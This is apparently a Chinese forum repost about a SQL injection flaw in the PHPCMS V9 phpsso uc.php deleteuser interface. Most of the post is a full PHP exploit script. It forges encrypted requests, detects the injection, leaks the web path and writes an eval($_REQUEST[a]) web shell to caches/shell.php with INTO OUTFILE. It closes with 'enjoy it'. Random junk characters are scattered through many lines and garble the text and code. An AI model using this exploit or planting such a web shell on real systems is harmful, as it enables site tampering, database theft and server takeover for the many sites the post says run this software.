PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。& L" j8 ]7 i2 c( Z
! {( E# ]5 f$ k. Z& t# }
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。5 U* n& T0 a& X5 x" d; R- e
7 v' `. ^0 o( g3 Z. L& t$ O漏洞分析:, R2 }* g& g+ K2 P8 i% x& a
1.未启用ucenter服务的情况下uc_key为空
, |8 W7 K+ c7 e4 T3 v* p& Rdefine('UC_KEY', pc_base::load_config('system', 'uc_key')); T* k) z1 W6 Q9 C# j2 \7 D2 {1 i
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。% F. R+ V4 L* c# V5 r
public function deleteuser($get,$post) { P$ V' g! L" y/ y. W
pc_base::load_app_func('global', 'admin');4 J6 W) S' {7 i. Q4 ^# C2 X
pc_base::load_app_class('messagequeue', 'admin' , 0);
0 j: y8 V1 ^- M $ids = new_stripslashes($get['ids']);( {2 x) s% }; s) h$ b) X
$s = $this->member_db->select("ucuserid in ($ids)", "uid");# Q& l: m. {! c* s, U) O
SQL语句为! \! X0 u: ~7 [' O$ K
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)& T1 B1 }0 Z+ ~' g; \
0 x# C3 k k: Q# N- P% Q/ ?3 p$ H6 Z利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell# V8 j5 v2 G) t
<?php2 j4 {6 P) R: U6 ]& [: H8 E
print_r('
8 E! L* H0 v5 \" G* G: a6 p! [---------------------------------------------------------------------------4 x/ M$ q1 R, ^9 d% G! ^5 b4 S9 ^
PHPcms (v9 or Old Version) uc api sql injection 0day
8 N$ C6 s! |$ ^! n8 i7 V0 cby rayh4c#80sec.com; p* H& E: Q2 l3 B" n
---------------------------------------------------------------------------! e5 U$ ?) u) o# U9 |1 X
');
& U; }) y X# ?% k! z1 U# y0 y3 c( L9 B7 ^7 E, P' r
if ($argc<3) {
8 k* I- v( P5 I, k* i+ f print_r('9 @2 r( m' _2 }
---------------------------------------------------------------------------* o# e# t0 w1 |5 w. Q. M
Usage: php '.$argv[0].' host path OPTIONS8 e7 ?2 C% y* |* M# `4 W
host: target server (ip/hostname)
7 D8 ]8 a% r+ p) |/ ^9 n* g! jpath: path to phpcms
) {; G' X/ n5 J9 X- QOptions:
! N0 a3 C" J$ q. b4 L+ J: Y -p[port]: specify a port other than 80/ W. i) h! g6 r' T- Y' w
-P[ip:port]: specify a proxy
# [( `# E4 k( S* P$ fExample:
! ]- Q: P5 G6 Wphp '.$argv[0].' localhost /
$ U9 R8 t; X8 s4 f- @php '.$argv[0].' localhost /phpcms/ -p810 v& m4 M' @4 s$ F/ `
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80+ |) |" e2 W5 Q5 `
---------------------------------------------------------------------------
5 b' w7 T* m; N');/ E m7 p; ?9 r' G4 k
die;
$ \8 Y: Q( }: k2 q4 _& ^8 ]( L}; H8 i# h Y+ E- L! j" m; H% M1 {9 s z" V
+ u$ K [8 S8 ~# G# j- z! w8 ]6 a
error_reporting(7);% ?" t( {0 n( D" j8 l8 p) G
ini_set("max_execution_time",0);5 F+ h/ u1 R O+ `2 u
ini_set("default_socket_timeout",5);
4 j( V9 a: r8 [7 \5 V+ E+ x
, ^; D4 }' G" v6 E' [# Yfunction quick_dump($string)
, { p! b1 b2 w0 S/ Z& F8 q7 \8 ~{9 t3 O# Q; ~& X6 C1 p C. f" G
$result='';$exa='';$cont=0;0 u) r' x$ r# d! [; s7 e2 E+ W/ \
for ($i=0; $i<=strlen($string)-1; $i++)# m. u9 ^8 P0 ^. Y! {
{
% d6 y( _; ^; X2 e% ^ if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))" s0 v! B/ `0 R p
{$result.=" .";}( p1 n: q4 _0 M, Z C9 u3 I
else; T A4 h0 ]0 X' O0 |
{$result.=" ".$string[$i];}
: P9 D3 G9 T, U; \ if (strlen(dechex(ord($string[$i])))==2)1 z. ^3 h9 `5 ?+ Z
{$exa.=" ".dechex(ord($string[$i]));}
: l) N o; U7 s! d1 n+ U1 G else
& |: M9 \6 t8 D- n& U {$exa.=" 0".dechex(ord($string[$i]));}7 {8 ^( s U, }; P
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
; O$ Y" _! ^' L+ J5 p" [4 H, v }6 G9 a. D* y: ~! N
return $exa."\r\n".$result;. R& G ^0 `( b0 [$ W
}
) B8 X7 y. z$ J+ Y$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';( Z+ Y+ Y' O! }% J
* ?% x4 m+ ~ n& h* |0 b1 j: {function send($packet)5 ?9 I0 l3 @. l/ ?" a% j
{
( y$ L: C- h& h) ~# @ global $proxy, $host, $port, $html, $proxy_regex;
F, V, C( ]$ Q0 h if ($proxy=='') {
& i6 _0 a- e( Y( q& L5 @4 j $ock=fsockopen(gethostbyname($host),$port);
6 [1 a8 o" E/ x% \ if (!$ock) {
3 {3 |& y. W8 v6 J9 P echo 'No response from '.$host.':'.$port; die;7 p7 e4 g$ V, M# j; f% V: p
}) A% [+ R. d3 m5 Q
}
1 ]- U4 L" M0 g/ _( r% j! C$ l) k else {
" i) C7 ?& T+ D) R7 I, c. } $c = preg_match($proxy_regex,$proxy);
0 ^; c0 c. }& l- c. C/ P R. W if (!$c) {8 r1 \9 x6 b2 p* C4 W& k: Z
echo 'Not a valid proxy...';die;
; X9 t' d* G% R# T1 ]0 L/ k }/ h( z! R7 t$ t4 T' U4 C2 Q2 P9 L8 f
$parts=explode(':',$proxy);
5 Q0 a1 s* a6 R2 h6 ~ $parts[1]=(int)$parts[1];- T8 P5 V+ t1 P" k7 x
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
9 K$ q- ~, K, ]$ Y1 e $ock=fsockopen($parts[0],$parts[1]);
9 m( j' Q8 X8 F; g8 e" x3 ` if (!$ock) {' [+ v. ^. x% O# d7 H- c3 M
echo 'No response from proxy...';die;' q% k+ C5 e( w. a$ U8 \5 A3 P- s
}% U9 M- _ m8 O2 s N( w
}: s' D& j/ V4 t7 C2 P7 _: e4 W3 l' a
fputs($ock,$packet);9 I. p1 F/ T5 p* O
if ($proxy=='') {& K# d/ r* h8 X3 c- D' ?
$html='';& t. {1 y6 r- @7 y% o
while (!feof($ock)) {
; B# g/ o7 T+ q# ? H. z $html.=fgets($ock);/ _; i# C" r: Q; [/ h" e, a5 a( ^8 r R
}# X# n n$ j+ n6 N3 T y
}
7 t/ b% }' ^: f1 V else {! b# G$ v: y; \8 E# K1 |$ @# I- W
$html='';
5 Z+ ?, K& |% H `- x5 x while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' s* y8 b! |( W $html.=fread($ock,1); O+ K% Z W' }0 Q5 L
}
, {4 u* n* q3 \3 N }
1 a1 ?, Z7 P2 l" s& o, u$ g" `) ]$ X fclose($ock);5 R( O1 ~- S* x
}, o @( X$ [7 s% `0 |. @3 i4 R
. T3 ?4 ?; h% l% ^& ?) b7 C# N' S0 S$host=$argv[1];% Q! ?, G. ], Q, M$ J) \" d7 b5 p
$path=$argv[2];
D/ c! n- z: F2 T$port=80;" _7 d% C$ E7 E- ?7 i; D# R
$proxy="";
* u' i; {3 @9 V% L8 H: F; Dfor ($i=3; $i<$argc; $i++){
7 {: B: D5 V7 N- K$temp=$argv[$i][0].$argv[$i][1];
4 N# |, m1 x, D i1 jif ($temp=="-p")
9 v; a3 J. V$ i* s: g: s4 A{# N3 N9 ?3 G9 l9 K
$port=(int)str_replace("-p","",$argv[$i]);; k9 k5 z5 b/ A/ C+ Y
}! w, N$ P2 x3 D5 I e
if ($temp=="-P")9 e+ v; X6 S( x9 A
{
/ b( M1 ~2 a% G* V# _1 Q $proxy=str_replace("-P","",$argv[$i]);
/ R5 ~- K) H8 d- O f* M( k- c}
& K5 ]! H( d6 j* F% [. y; B9 z+ F2 r}# U. @) W2 H# b( ~
; \" o2 e/ F, Z9 N0 Z9 yif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
! M# X$ ~0 I4 K, R0 r4 \+ @if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}" ?% t) E+ ?) ^5 t9 y' N4 L
7 Y2 R% O! c6 l$ s k$ D3 ]function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { t. A0 h5 B$ I. ^
6 i* o2 }# E' B9 ]4 b5 r
$ckey_length = 4;$ P* t3 l# s' q% j% f( M! q, ^
: ^. i- A* @( d: k, e $key = md5($key ? $key : '');
! k7 _6 {, j- q $keya = md5(substr($key, 0, 16));
; `( d: W9 ^$ o" s, q, w# ] $keyb = md5(substr($key, 16, 16));
) ]4 M f8 S, L $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
; o2 [8 y/ V A! {0 a7 K
0 G9 o+ l& C3 q, T9 ^8 @ $cryptkey = $keya.md5($keya.$keyc);
4 G; ?4 f7 x, G6 K% f3 a0 l $key_length = strlen($cryptkey);
. h# I) c% G9 t S2 W- N2 K+ L4 I3 M
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;( t; F4 G7 r! n' b8 i7 z6 S
$string_length = strlen($string);5 ]* {% y0 Y! [1 g' Z0 S5 F
9 ] ~) O6 V( h' f! l4 Z
$result = ''; c1 B7 {. |, ^; W; _ x
$box = range(0, 255);
3 C! s" R V A0 `3 R$ W7 u' I" V3 v* f. N
$rndkey = array();! i$ ^; ^" Q3 [! V+ i5 j
for($i = 0; $i <= 255; $i++) {3 j1 [9 v, O" h, Q S3 X
$rndkey[$i] = ord($cryptkey[$i % $key_length]);' d; E! g4 o1 B! `% b7 B
}
" {8 |1 L/ D: i7 X& k- z1 Z' G( x' ]
for($j = $i = 0; $i < 256; $i++) {
, `6 q7 b ^9 Q Q* y8 ?! k $j = ($j + $box[$i] + $rndkey[$i]) % 256;: P# `& V# X7 I% I9 T$ |7 F
$tmp = $box[$i];" H" w4 C* g5 _
$box[$i] = $box[$j];/ U, b/ ^4 e% y+ | @/ j
$box[$j] = $tmp;
+ {" u# C, H+ q4 ~0 D+ Q }
6 y2 F3 ~- O. k' x& p% F! S3 r; q, P8 B
for($a = $j = $i = 0; $i < $string_length; $i++) {
) L* [% J% _* O$ @( R6 K/ t, X $a = ($a + 1) % 256;
/ x8 F4 D" n7 [; V; w Y1 c5 t, `0 N $j = ($j + $box[$a]) % 256;
# P. |8 v: V1 T2 C3 d$ y/ U $tmp = $box[$a];, v% e$ q% ]+ D8 Z" c4 }* |5 u+ g
$box[$a] = $box[$j];
) h4 ~- ]! a0 L! w. p1 Y $box[$j] = $tmp;
8 g) A; d; m- p) M, C $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
# J2 n9 D7 G1 n% R; X- l8 ^ }6 e1 f7 V: j0 O1 W( x
9 q5 h4 L) e, ~0 q- b$ s" F0 }* n" n if($operation == 'DECODE') {& s( \8 `7 o( O+ u! _
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { ~, K+ N# r5 o" L8 }
return substr($result, 26);
1 p- w- x" d) Y0 S, X* L } else {
2 c1 u! x* M$ L) G return '';8 @9 }, v6 C6 W# n, q
}
4 i, P" P, r; j4 E+ J; M6 T6 ]3 P } else {
& G3 m) @0 j8 w6 _ return $keyc.str_replace('=', '', base64_encode($result));4 M5 F! T: _+ V- z8 X4 e* ^
}
+ H* s3 i; {# w1 _4 c6 P# s# s
3 i( e1 K3 t( Z6 g y2 [6 t}
* b2 e9 J6 N& A2 K* f1 j- ?" S- X6 l; u
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";# v& ^* u7 e, H0 n# O5 b
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
4 G; X. q* F5 q# F+ x) Xecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
7 a+ P6 l, u( F6 u- i$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";% j; ], ~5 u2 t+ g+ t
$packet.="User-Agent: Mozilla/5.0\r\n";
9 A4 N6 x+ Q% e, H8 `$packet.="Host: ".$host."\r\n";
0 I3 X" {2 S7 Y, Z% }$ s$packet.="Connection: Close\r\n\r\n";
f4 h W1 z: ~. W4 C' ]" gsend($packet);" m9 l3 Z$ \' ^# o& C4 B8 q
if(strpos($html,"MySQL Errno") > 0){
/ ?) r0 v4 o- K$ ?, t1 U; kecho "[2] 发现存在SQL注入漏洞"."\n";2 c% L( h& y0 I1 i
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
& p* p4 ]% a0 d( `: \$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";5 g: l7 d" U0 t/ J- T+ g* d$ i0 J
$packet.="User-Agent: Mozilla/5.0\r\n";! _5 @2 N- c) m4 i! j
$packet.="Host: ".$host."\r\n";6 y! ~ i& [5 x, `! k" m1 E
$packet.="Connection: Close\r\n\r\n";
5 B& Y/ F& G! t9 I1 j" O: H& vsend($packet);
5 v) d$ ?2 D+ Spreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
, g5 l( [6 X# ^3 D4 @" X& F& W//print_r($matches);! O& P. Y4 b$ ~! R9 ~0 M) t
if(!empty($matches)){
7 s. q) K% K4 @" _ Q; N1 \echo "[4] 得到web路径 " . $matches[0]."\n";7 A8 R$ G# P5 J- m) L- [
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";7 j3 P; J6 [7 K) E% ` g `" L
$SQL = "time=999999999999999999999999&ids=1)";
. |# J% {- t0 f: H( d/ l/ J$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' w) p+ C1 M+ k" V$SQL.="&action=deleteuser";
; g5 ]- F% {1 ]" N2 r$ o! U$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ G" ]0 A2 G, K& c/ h$ Q, @echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
. }9 E( M: y) |* |2 k2 m U q& M/ J$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
5 H4 K* U% ^1 Y$packet.="User-Agent: Mozilla/5.0\r\n";
6 z3 C" l* g3 Z, b: _$packet.="Host: ".$host."\r\n";+ s2 x' V! o5 P% I+ Y1 U
$packet.="Connection: Close\r\n\r\n";$ ]9 {% T* Y! S8 @
send($packet);
. q% Q) D& H) @: Q/ ` Rif(strpos($html,"Access denied") > 0){
3 Z& i! m$ T4 j3 Hecho "[-] MYSQL权限过低 禁止写入文件 ";" ]* e, R8 y7 [8 X4 g) ?9 }
die;, F- [$ D, W0 g* \: B
}
: R3 S/ s, J' @6 }echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
" j* X! O# O/ G; r6 e$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
. a0 q1 k, p D3 @& f* x7 A$packet.="User-Agent: Mozilla/5.0\r\n";
9 F( x1 N( `; s# r& T2 |% M. E$packet.="Host: ".$host."\r\n";, e, r: j/ m) P
$packet.="Connection: Close\r\n\r\n";- d; h" {4 t _
send($packet);
, z, i8 W+ [0 a% ~6 Xif(strpos($html,"<title>phpinfo()</title>") > 0){& O3 J. l/ v9 [" w9 M8 P/ |
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";* P3 D, H' }. N8 f
}9 \8 {. C+ H4 q& T$ P
}else{
: l8 Y$ V( `6 G6 t& p) u: @echo "[-]未取到web路径 ";
) z8 b1 D6 q3 I/ y}) T( G) M/ w* E+ f! b2 e
}else{
3 }7 A' v, n: H7 `' kecho "[*]不存在SQL注入漏洞"."\n";
" c" G8 \: Z5 c3 a2 @3 c( C n B- J}0 }& S3 e; B: Y
8 E5 S8 \, e4 X% B
?>
* O4 L Z2 V8 }8 O9 H0 z f: d- W# J |